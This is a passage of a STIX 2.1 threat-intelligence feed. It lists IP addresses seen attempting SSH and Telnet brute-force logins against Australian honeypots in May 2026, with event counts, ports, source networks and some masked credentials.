      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--94bcf719-da04-47e3-b7de-d955d006285f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.160.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--b342f7cd-1623-4e8b-8241-382c6caa3321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.91.36.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 15723. Organisation(s): azeronline Ltd Joint Enterprise.",
      "id": "indicator--54f83e4e-929b-41e0-86ed-0537b447f2f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.217.138.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:15:13.000Z",
      "valid_until": "2026-06-23T10:15:03.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--60e9bfa3-19a2-4104-83c3-66bdb6a525aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.206.55.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--75d93b00-d168-4b3a-bd0f-1b5af52dfe39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.120.156.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c2cef0dc-0522-413e-abbb-340883386231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.72.131.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56047. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--7e43b5a5-2a97-4824-885e-6b4c44924fa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.8.237.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--09eab733-8b62-405b-ae1d-ada9973af902",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.193.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a436aabe-d7a0-45b8-b67a-5ff990a6f4c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.63.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d5e731af-3783-46a4-84b6-bc9efe0883d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.208.170.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7806f036-4e76-4c88-a222-447d3f878192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.209.192.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--01c95e71-a74b-4226-b544-14a26f92348b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.248.153.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--b47576af-4f3b-42a8-b2cf-5b6b1b109ce5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.152.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--141df49a-f970-4d2f-a47c-09d609361f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.31.158.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8317575a-e555-420d-96f3-664e6149a999",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.132.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263905. Organisation(s): New Group Telecomunicacoes LTDA.",
      "id": "indicator--480be167-cf0b-4296-85d8-0e10c37cc4fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.80.71.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--61613441-6c64-41da-a193-095bcbe899a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.243.143.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9fa602a4-b4fc-4457-a77e-36e4ef27869e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.32.217.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61920. Organisation(s): Link Explorer.",
      "id": "indicator--d5bb048a-2a9e-4432-895c-a2382f4c32bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.2.72.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--229363bf-afdc-4491-bf9a-70fa5aa58843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.127.250.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--40706dac-637f-4f97-b795-8114efbdb55a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--59f851e6-1ec5-4b5b-8e05-bb95d2fa4fe8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.128.131.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--805b1056-31ca-40eb-a7e8-2d69137ebc2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.233.80.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4118d8ab-060d-4bfb-9b68-de26e72b0328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.246.40.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--21421724-20b2-4be1-b699-e639c7c207c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.26.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--70a0b7f5-3cdb-48f6-8882-deb40084007b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.30.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--13cd59b9-5aae-472f-9ba4-3e85367902ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.65.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--6506919c-c2a2-4f96-8da7-61ee962f7364",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.34.82.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--3d807f01-b3b2-4a9b-9b1d-798e1421f128",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.124.206.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--516bafd6-55dd-43d5-92e3-7641a0c388d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.239.120.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--49ad4a66-c4e9-42a0-ad4a-b43fc2177d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--ccce8f21-7178-4824-b2af-4a9fa892bd82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.75.141.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:15:11.000Z",
      "valid_until": "2026-06-23T11:15:08.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 135482. Organisation(s): Yayasan Pendidikan Universitas Presiden. Usernames observed (masked): b**g, r**t, 3**********4, a****2, o****a. Passwords observed (masked): 1***5, 1****6, 3***********4, 3**********4, S********5.",
      "id": "indicator--7c17da86-8e4c-4d0b-b5c8-6ca0ff4d8727",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.118.82.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1da15243-924b-4888-9be2-09f641feeb01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.61.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t, 3**********4, a*******r, ***. Passwords observed (masked): 1****3, 1*******3, 3***********4, 3**********4, a***********!.",
      "id": "indicator--33eb3052-6d44-4539-afc3-99059636c780",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.216.4.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4f9f57b8-243f-4e0d-b0a1-8ff7de991e6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.63.67.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T12:15:11.000Z",
      "valid_until": "2026-06-23T12:15:09.000Z"
    },
    {
      "created": "2026-05-22T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2dfb93ad-f0fe-4b7b-95db-b43197cf43b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.237.19.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
